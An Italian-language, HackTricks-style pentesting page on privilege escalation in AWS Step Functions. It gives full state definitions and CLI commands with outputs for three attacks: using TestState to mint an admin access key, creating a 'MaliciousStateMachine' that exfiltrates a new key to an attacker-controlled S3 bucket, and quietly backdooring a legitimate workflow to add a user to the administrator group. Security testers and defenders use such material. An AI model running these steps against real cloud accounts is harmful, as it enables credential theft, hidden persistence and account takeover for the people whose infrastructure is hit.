# AWS - Step Functions Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Step Functions

Per maggiori informazioni su questo servizio AWS, consulta:

{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}

### Risorse Task

Queste privilege escalation techniques richiederanno l'uso di alcune risorse di AWS Step Functions per eseguire le azioni di privilege escalation desiderate.

Per verificare tutte le azioni possibili, puoi accedere al tuo account AWS, selezionare l'azione che vuoi usare e vedere i parametri che utilizza, come in:

<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>

Oppure puoi consultare la documentazione API di AWS e verificare la documentazione di ciascuna action:

- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)

### `states:TestState` & `iam:PassRole`

Un attacker con i permessi **`states:TestState`** e **`iam:PassRole`** può testare qualsiasi state e passare qualsiasi IAM role ad esso senza creare o aggiornare una state machine esistente, abilitando potenzialmente accesso non autorizzato ad altri servizi AWS con i permessi del ruolo. Se combinati, questi permessi possono portare a estese azioni non autorizzate, dalla manipolazione dei workflow e modifica dei dati a violazioni dei dati, manipolazione delle risorse e privilege escalation.
```bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
Gli esempi seguenti mostrano come testare uno state che crea un access key per l'utente **`admin`** sfruttando questi permessi e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere associata una policy ad alto privilegio (per esempio **`arn:aws:iam::aws:policy/AdministratorAccess`**) che consenta allo state di eseguire l'azione **`iam:CreateAccessKey`**:

- **stateDefinition.json**:
```json
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
```
- **Command** eseguito per effettuare il privesc:
```bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
```
**Potential Impact**: Esecuzione non autorizzata e manipolazione dei flussi di lavoro e accesso a risorse sensibili, con potenziali gravi violazioni della sicurezza.

### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)

Un attaccante in possesso di **`states:CreateStateMachine`**& **`iam:PassRole`** sarebbe in grado di creare una state machine e assegnarle qualsiasi IAM role, permettendo accessi non autorizzati ad altri servizi AWS con i permessi del role. A differenza della precedente privesc technique (**`states:TestState`** & **`iam:PassRole`**), questa non si esegue da sola: è inoltre necessario avere i permessi **`states:StartExecution`** o **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **non è disponibile per standard workflows**, **solo per express state machines**) per avviare un'esecuzione sulla state machine.
```bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```
Gli esempi seguenti mostrano come creare una state machine che crea un access key per l'utente **`admin`** e esfiltra questa access key in un bucket S3 controllato dall'attaccante, sfruttando questi permessi e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere associata una policy ad alto privilegio (per esempio **`arn:aws:iam::aws:policy/AdministratorAccess`**) che permette alla state machine di eseguire le azioni **`iam:CreateAccessKey`** e **`s3:putObject`**.

- **stateMachineDefinition.json**:
```json
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
```
- **Comando** eseguito per **creare la macchina a stati**:
```bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
```
- **Comando** eseguito per **avviare un'esecuzione** della state machine creata in precedenza:
```json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
```
> [!WARNING]
> Il bucket S3 controllato dall'attaccante dovrebbe avere i permessi per accettare un'azione s3:PutObject dall'account vittima.

**Potential Impact**: Esecuzione non autorizzata e manipolazione dei workflow e accesso a risorse sensibili, potenzialmente portando a violazioni di sicurezza significative.

### `states:UpdateStateMachine` & (not always required) `iam:PassRole`

Un attaccante con il permesso **`states:UpdateStateMachine`** sarebbe in grado di modificare la definizione di una state machine, potendo aggiungere stati stealth aggiuntivi che potrebbero portare a una escalation di privilegi. In questo modo, quando un utente legittimo avvia l'esecuzione della state machine, questo nuovo stato malevolo stealth verrà eseguito e l'escalation di privilegi avrà successo.

A seconda di quanto permissivo sia l'IAM Role associato alla state machine, un attaccante si troverebbe di fronte a 2 situazioni:

1. **Permissive IAM Role**: Se l'IAM Role associato alla state machine è già permissivo (ad esempio ha allegata la policy **`arn:aws:iam::aws:policy/AdministratorAccess`**), allora il permesso **`iam:PassRole`** non sarebbe richiesto per scalare i privilegi, poiché non sarebbe necessario aggiornare anche l'IAM Role; basta modificare la definizione della state machine.
2. **Not permissive IAM Role**: In contrasto con il caso precedente, qui un attaccante richiederebbe anche il permesso **`iam:PassRole`** poiché sarebbe necessario associare un IAM Role permissivo alla state machine oltre a modificare la definizione della state machine.
```bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
```
Gli esempi seguenti mostrano come aggiornare una state machine legittima che semplicemente invoca una HelloWorld Lambda function, per aggiungere uno stato extra che aggiunge l'utente **`unprivilegedUser`** al **`administrator`** IAM Group. In questo modo, quando un utente legittimo avvierà l'esecuzione della state machine aggiornata, questo nuovo stato malevolo stealth verrà eseguito e l'escalation di privilegi avrà successo.

> [!WARNING]
> Se la state machine non ha un IAM Role permissivo associato, sarà inoltre richiesta la permissione **`iam:PassRole`** per aggiornare l'IAM Role al fine di associare un IAM Role permissivo (per esempio uno con la policy **`arn:aws:iam::aws:policy/AdministratorAccess`** allegata).

{{#tabs }}
{{#tab name="Legit State Machine" }}
```json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
```
{{#endtab }}

{{#tab name="Malicious Updated State Machine" }}
```json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "AddUserToGroup"
},
"AddUserToGroup": {
"Type": "Task",
"Parameters": {
"GroupName": "administrator",
"UserName": "unprivilegedUser"
},
"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
```
{{#endtab }}
{{#endtabs }}

- **Comando** eseguito per **aggiornare** **la state machine legittima**:
```bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
**Impatto potenziale**: Esecuzione non autorizzata e manipolazione dei workflows e accesso a risorse sensibili, che potrebbero portare a gravi violazioni della sicurezza.

{{#include ../../../../banners/hacktricks-training.md}}
